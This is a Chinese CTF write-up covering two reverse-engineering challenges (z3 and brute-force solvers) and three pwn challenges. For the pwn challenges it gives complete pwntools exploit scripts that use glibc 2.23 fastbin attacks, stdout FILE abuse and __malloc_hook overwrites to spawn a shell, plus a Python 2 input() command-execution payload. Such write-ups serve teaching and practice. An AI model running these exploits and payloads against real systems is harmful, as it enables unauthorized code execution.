Reverse
0x0 z3
从名字来看,暗示了使用z3解决这道题。分析main函数可以看出是一个42元一次方程组。
最后在比较结果。
[脚本]:
from z3 import*
ans=[0x4f17,0x9cf6,0x8ddb,0x8ea6,0x6929,0x9911,0x40a2,0x2f3e,0x62b6,0x4b82,0x486c,0x4002,0x52d7,0x2def,0x28dc,0x640d,0x528f,0x613b,0x4781,0x6b17,0x3237,0x2a93,0x615f,0x50be,0x598e,0x4656,0x5b31,0x313a,0x3010,0x67fe,0x4d5f,0x58db,0x3799,0x60a0,0x2750,0x3759,0x8953,0x7122,0x81f9,0x5524,0x8971,0x3a1d]
x=[Int('x%d'%i)for i in range(42)]
f=Solver()
f.add(34 * x[3] + 12 * x[0] + 53 * x[1] + 6 * x[2] + 58 * x[4] + 36 * x[5] + x[6]==ans[0])
f.add(27 * x[4] + 73 * x[3] + 12 * x[2] + 83 * x[0] + 85 * x[1] + 96 * x[5] + 52 * x[6]==ans[1])
f.add(24 * x[2] + 78 * x[0] + 53 * x[1] + 36 * x[3] + 86 * x[4] + 25 * x[5] + 46 * x[6]==ans[2])
f.add(78 * x[1] + 39 * x[0] + 52 * x[2] + 9 * x[3] + 62 * x[4] + 37 * x[5] + 84 * x[6]==ans[3])
f.add(48 * x[4] + 14 * x[2] + 23 * x[0] + 6 * x[1] + 74 * x[3] + 12 * x[5] + 83 * x[6]==ans[4])
f.add(15 * x[5] + 48 * x[4] + 92 * x[2] + 85 * x[1] + 27 * x[0] + 42 * x[3] + 72 * x[6]==ans[5])
f.add(26 * x[5] + 67 * x[3] + 6 * x[1] + 4 * x[0] + 3 * x[2] + 68 * x[6]==ans[6])
f.add(34 * x[10] + 12 * x[7] + 53 * x[8] + 6 * x[9] + 58 * x[11] + 36 * x[12] + x[13]==ans[7])
f.add(27 * x[11] + 73 * x[10] + 12 * x[9] + 83 * x[7] + 85 * x[8] + 96 * x[12] + 52 * x[13]==ans[8])
f.add(24 * x[9] + 78 * x[7] + 53 * x[8] + 36 * x[10] + 86 * x[11] + 25 * x[12] + 46 * x[13]==ans[9])
f.add(78 * x[8] + 39 * x[7] + 52 * x[9] + 9 * x[10] + 62 * x[11] + 37 * x[12]+ 84 * x[13]==ans[10])
f.add(48 * x[11] + 14 * x[9] + 23 * x[7]+ 6 * x[8] + 74 * x[10] + 12 * x[12] + 83 * x[13]==ans[11])
f.add(15 * x[12] + 48 * x[11] + 92 * x[9]+ 85 * x[8] + 27 * x[7] + 42 * x[10] + 72 * x[13]==ans[12])
f.add(26 * x[12] + 67 * x[10] + 6 * x[8] + 4 * x[7] + 3 * x[9] + 68 * x[13]==ans[13])
f.add(34 * x[17] + 12 * x[14] + 53 * x[15] + 6 * x[16] + 58 * x[18] + 36 * x[19] + x[20]==ans[14])
f.add(27 * x[18] + 73 * x[17] + 12 * x[16] + 83 * x[14] + 85 * x[15]+ 96 * x[19] + 52 * x[20]==ans[15])
f.add(24 * x[16] + 78 * x[14] + 53 * x[15] + 36 * x[17] + 86 * x[18] + 25 * x[19] + 46 * x[20]==ans[16])
f.add(78 * x[15] + 39 * x[14] + 52 * x[16] + 9 * x[17] + 62 * x[18] + 37 * x[19] + 84 * x[20]==ans[17])
f.add(48 * x[18] + 14 * x[16] + 23 * x[14] + 6 * x[15] + 74 * x[17] + 12 * x[19] + 83 * x[20]==ans[18])
f.add(15 * x[19] + 48 * x[18] + 92 * x[16] + 85 * x[15] + 27 * x[14] + 42 * x[17] + 72 * x[20]==ans[19])
f.add(26 * x[19] + 67 * x[17] + 6 * x[15] + 4 * x[14] + 3 * x[16] + 68 * x[20]==ans[20])
f.add(34 * x[24] + 12 * x[21] + 53 * x[22] + 6 * x[23] + 58 * x[25] + 36 * x[26] + x[27]==ans[21])
f.add(27 * x[25] + 73 * x[24] + 12 * x[23] + 83 * x[21] + 85 * x[22]+ 96 * x[26]+ 52 * x[27]==ans[22])
f.add(24 * x[23] + 78 * x[21] + 53 * x[22] + 36 * x[24] + 86 * x[25] + 25 * x[26] + 46 * x[27]==ans[23])
f.add(78 * x[22] + 39 * x[21] + 52 * x[23] + 9 * x[24] + 62 * x[25] + 37 * x[26] + 84 * x[27]==ans[24])
f.add(48 * x[25] + 14 * x[23] + 23 * x[21] + 6 * x[22] + 74 * x[24] + 12 * x[26] + 83 * x[27]==ans[25])
f.add(15 * x[26] + 48 * x[25] + 92 * x[23] + 85 * x[22] + 27 * x[21] + 42 * x[24] + 72 * x[27]==ans[26])
f.add(26 * x[26] + 67 * x[24] + 6 * x[22] + 4 * x[21] + 3 * x[23]+ 68 * x[27]==ans[27])
f.add(34 * x[31] + 12 * x[28] + 53 * x[29] + 6 * x[30] + 58 * x[32] + 36 * x[33] + x[34]==ans[28])
f.add(27 * x[32] + 73 * x[31] + 12 * x[30] + 83 * x[28] + 85 * x[29] + 96 * x[33] + 52 * x[34]==ans[29])
f.add(24 * x[30] + 78 * x[28] + 53 * x[29] + 36 * x[31] + 86 * x[32] + 25 * x[33] + 46 * x[34]==ans[30])
f.add(78 * x[29] + 39 * x[28] + 52 * x[30] + 9 * x[31] + 62 * x[32] + 37 * x[33] + 84 * x[34]==ans[31] )
f.add(48 * x[32] + 14 * x[30] + 23 * x[28] + 6 * x[29] + 74 * x[31] + 12 * x[33] + 83 * x[34]==ans[32] )
f.add(15 * x[33] + 48 * x[32] + 92 * x[30] + 85 * x[29] + 27 * x[28] + 42 * x[31] + 72 * x[34]==ans[33])
f.add(26 * x[33] + 67 * x[31] + 6 * x[29] + 4 * x[28] + 3 * x[30] + 68 * x[34]==ans[34])
f.add(34 * x[38] + 12 * x[35] + 53 * x[36] + 6 * x[37] + 58 * x[39] + 36 * x[40] + x[41]==ans[35])
f.add(27 * x[39] + 73 * x[38] + 12 * x[37] + 83 * x[35] + 85 * x[36] + 96 * x[40] + 52 * x[41]==ans[36] )
f.add(24 * x[37] + 78 * x[35] + 53 * x[36] + 36 * x[38] + 86 * x[39] + 25 * x[40] + 46 * x[41]==ans[37] )
f.add(78 * x[36] + 39 * x[35] + 52 * x[37] + 9 * x[38] + 62 * x[39] + 37 * x[40] + 84 * x[41]==ans[38] )
f.add(48 * x[39] + 14 * x[37] + 23 * x[35] + 6 * x[36] + 74 * x[38] + 12 * x[40] + 83 * x[41]==ans[39] )
f.add(15 * x[40] + 48 * x[39] + 92 * x[37] + 85 * x[36] + 27 * x[35] + 42 * x[38] + 72 * x[41]==ans[40] )
f.add(26 * x[40] + 67 * x[38] + 6 * x[36] + 4 * x[35] + 3 * x[37] + 68 * x[41]==ans[41] )
if f.check()==sat:
res=f.model()
flag=[]
for i in x:
flag.append(chr(res[i].as_long()))
print (''.join(flag))
0x1 hyperthreading
程序一开始创建三个线程,第一个线程为关键线程,会对输入的数据做变换;第二个线程会判断是否处于调试状态,如果处于调试状态就会破坏数据;第三个线程是检测是否处于调试环境中,如果处于调试环境就退出程序。
主要核心部分为:
00401171 | 8B4D FC | mov ecx,dword ptr ss:[ebp-4] |
00401174 | 0FB691 6C334000 | movzx edx,byte ptr ds:[ecx+40336C] | input
0040117B | C1FA 02 | sar edx,2 |
0040117E | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
00401181 | 0FB688 6C334000 | movzx ecx,byte ptr ds:[eax+40336C] | eax+40336C:"flag{asdasfasf2684284}"
00401188 | C1E1 06 | shl ecx,6 |
0040118B | 33D1 | xor edx,ecx |
0040118D | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
00401190 | 8890 6C334000 | mov byte ptr ds:[eax+40336C],dl | eax+40336C:"flag{asdasfasf2684284}"
00401196 | 8B4D FC | mov ecx,dword ptr ss:[ebp-4] |
00401199 | 0FB691 6C334000 | movzx edx,byte ptr ds:[ecx+40336C] | ecx+40336C:"flag{asdasfasf2684284}"
004011A0 | 83F2 23 | xor edx,23 |
004011A3 | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
004011A6 | 8890 6C334000 | mov byte ptr ds:[eax+40336C],dl | eax+40336C:"flag{asdasfasf2684284}"
004011AC | 6A 06 | push 6 |
004011AE | FF15 08204000 | call dword ptr ds:[<&Sleep>] |
004011B4 | 64:8B1D 30000000 | mov ebx,dword ptr fs:[30] |
004011BB | 0FB65B 02 | movzx ebx,byte ptr ds:[ebx+2] |
...
004011D3 FFC0 inc eax ; 4.004011D1
004011D5 48 dec eax ; 4.004011D1
004011D6 8B4D FC mov ecx,dword ptr ss:[ebp-0x4]
004011D9 0FB691 6C334000 movzx edx,byte ptr ds:[ecx+0x40336C]
004011E0 83C2 23 add edx,0x23
004011E3 8B45 FC mov eax,dword ptr ss:[ebp-0x4]
004011E6 8890 6C334000 mov byte ptr ds:[eax+0x40336C],dl
翻译成伪代码就是
(((((input[i]>>2)^(input[i]<<6))&0xff)^0x23)+0x23)&0xff
[脚本]
import string
ans=[0xDD,0x5B,0x9E,0x1D,0x20,0x9E,0x90,0x91,0x90,0x90,0x91,0x92,0xDE,0x8B,0x11,0xD1,0x1E,0x9E,0x8B,0x51,0x11,0x50,0x51,0x8B,0x9E,0x5D,0x5D,0x11,0x8B,0x90,0x12,0x91,0x50,0x12,0xD2,0x91,0x92,0x1E,0x9E,0x90,0xD2,0x9F]
flag=''
for i in range(len(ans)):
for c in string.printable:
if (((((ord(c)>>2)^(ord(c)<<6))&0xff)^0x23)+0x23)&0xff==ans[i]:
flag+=c
break
print flag
PWN
0x0 easybox
[保护]:
[环境]:Ubuntu16.04 glibc2.23
[分析]:
程序仅有两个可用操作——增删,在增加操作中存在off-by-one,除此之外没发现别的漏洞。
所以大体上我考虑利用off-by-one构造overlap chunk进行fastbin attack。本程序没有输出操作,并且保护全开,所以只能利用IO_FILE来泄露内存和getshell。堆的布局如下:
chunk_1、chunk_4、chunk_7都是用来单字节溢出的,chunk_2将会被释放,然后通过部分修改利用fastbin attack有几率攻击到stdout泄露出libc内存,再用一次fastbin attack攻击stdout泄露heap地址,最后再用一次fastbin attack攻击stdout getshell。
想法如此,但是操作起来非常复杂,做了一天才做出来,比赛都结束了,T^T。
[EXP]:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
lib=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(idx,n,s):
p.sendlineafter('>>>','1')
p.sendlineafter('idx:',str(idx))
p.sendlineafter('len:',str(n))
p.sendafter('content:',s)
def Del(idx):
p.sendlineafter('>>>','2')
p.sendlineafter('idx:',str(idx))
while True:
try:
p=process('./pwn')
Add(0,0x68,'\0'*0x10)
Add(1,0x68,'a'*0x10)
Add(2,0xf0,'a'*0x10)
Add(3,0x68,'a'*0x10)
Add(4,0x68,'a'*0x10)
Add(5,0xf0,'a'*0x10)
Add(6,0x68,'a'*0x10)
Add(7,0x68,'a'*0x10)
Add(8,0xf0,'a'*0x10)
Add(9,0x68,'a'*0x10)
Add(10,0x68,'a'*0x10)
Add(11,0x68,'a'*0x10)
Add(12,0x68,'a'*0x10)
Add(13,0x68,'a'*0x10)
Del(2)
Add(2,0xf0,p64(0x71)+'\xdd\x25')
Del(4)
Add(4,0x68,'a'*0x68+'\x71')
Del(5)
Del(0)
Del(1)
Del(6)
Add(5,0x160,'\0'*0xf8+p64(0x71)+'\xe8')
#fastbin attack
Add(6,0x68,'a'*0x68+'\x71')
Add(1,0x68,'a'*0x68+'\x71')
Add(0,0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')
#leak lib
p.recvuntil('\n')
leak=u64(p.recv(6).ljust(8,'\0'))
success('leak:'+hex(leak))
lib_base=leak-lib.sym['_IO_2_1_stdin_']
success('lib_base:'+hex(lib_base))
Del(4)
Add(4,0x68,'a'*0x68+'\x71')
Del(5)
Add(5,0x160,p64(0x71)+p64(lib_base+lib.sym['_IO_2_1_stdout_']-0x43))
Del(4)
Del(9)
Del(7)
Add(7,0x68,'\0'*0x68+'\x71')
Del(8)
Add(8,0x160,'\0'*0xf8+p64(0x71)+'\xc8')
Add(4,0x68,'\n')
Add(5,0x68,'\n')
Add(0,0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+p64(0x3c4b20+lib_base))
#leak heap
p.recv(0x58)
leak_heap=u64(p.recv(6).ljust(8,'\0'))
success('leak_heap:'+hex(leak_heap))
Add(0,0x20,'a'*0x10)
Add(1,0x68,'a'*0x10)
Add(2,0xf0,'a'*0x10)
Add(3,0x68,'a'*0x10)
Add(4,0x68,'a'*0x10)
Add(5,0xf0,'a'*0x10)
Add(6,0x68,'a'*0x10)
Add(7,0x68,'a'*0x10)
Del(2)
Add(2,0xf0,p64(0x71)+p64(lib_base+lib.sym['_IO_2_1_stdout_']+173-0x10))
Del(1)
Del(6)
Del(4)
Add(4,0x68,'\0'*0x68+'\x71')
Del(5)
Add(5,0x160,'\0'*0xf8+p64(0x71)+'\x78')
Add(5,0xf0,p64(0)*2+p64(lib_base+lib.sym['system'])*19)
#fastbin attack and getshell
Add(0,0x68,'\n')
Add(0,0x68,'\n')
Add(1,0x68,'\0'*(8*5+3)+p64(leak_heap+0x470))
p.interactive()
exit(0)
except EOFError,e:
p.close()
脚本写的有些乱,基本思想不变。
0x1 maj
[保护]:
[环境]:ubuntu16.04 glibc2.23
[分析]:
初看代码有点吓人,挺复杂的,但是稍微整理一下就会发现这些都是障眼法,那些if里面的运算全都不用管。程序可用的操作就三个——增删改,并且在删除操作中存在UAF,修改操作中可以对已经释放的chunk进行修改。
因此利用方式就是fastbin attack
[EXP]:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
lib=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#context.log_level=1
def Add(size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('question','80')
p.sendlineafter('______?',str(size))
p.sendafter('start_the_game,yes_or_no?',content)
def Edit(idx,content):
p.sendlineafter('>> ','4')
p.sendlineafter('index ?',str(idx))
p.sendafter('__new_content ?',content)
def Del(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('index ?',str(idx))
while True:
try:
p=process('./pwn')
Add(0x60,'a'*0x10)#0
Add(0x60,'a'*0x10)#1
Add(0x90,'a'*0x10)#2
Add(0x60,'a'*0x10)#3
Del(2)
Edit(2,p64(0x71)+'\xdd\x25')
Del(0)
Del(1)
Del(0)
Edit(1,'\xe8')
#fastbin attack
Add(0x60,'a'*0x10)#4
Add(0x60,'a'*0x10)#5
Add(0x60,'a'*0x10)#6
Add(0x68,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')#7
Edit(7,'\0'*0x33+p32(0xfbad1880)+';sh;'+'a'*0x18+'\x88')
#leak
p.recvuntil('\n')
leak=u64(p.recv(6).ljust(8,'\0'))
success('leak:'+hex(leak))
libc_base=leak-lib.sym['_IO_2_1_stdin_']
success('libc_base:'+hex(libc_base))
malloc_hook=libc_base+lib.sym['__malloc_hook']
success('malloc_hook:'+hex(malloc_hook))
Del(0)
Del(1)
Del(0)
Edit(1,p64(malloc_hook-0x23))
Add(0x60,'a'*0x10)#8
Add(0x60,'a'*0x10)#9
Add(0x60,'a'*0x13+p64(0xf1207+libc_base))#10
Edit(10,'a'*0x13+p64(0xf1207+libc_base))
#getshell
p.sendlineafter('>> ','1')
p.sendlineafter('question','80')
p.sendlineafter('______?',str(1))
p.interactive()
exit(0)
except EOFError,e:
p.close()
0x2 babyjsc
[分析]:
服务端代码:
import sys
import tempfile
import os
size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()
temp = tempfile.mktemp()
with open(temp, "w") as f:
f.write(script)
# os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)
这里涉及到我的知识盲区——python27存在input代码执行的漏洞,payload:import('os').system('sh')
PS:未完结,待续。。。。。。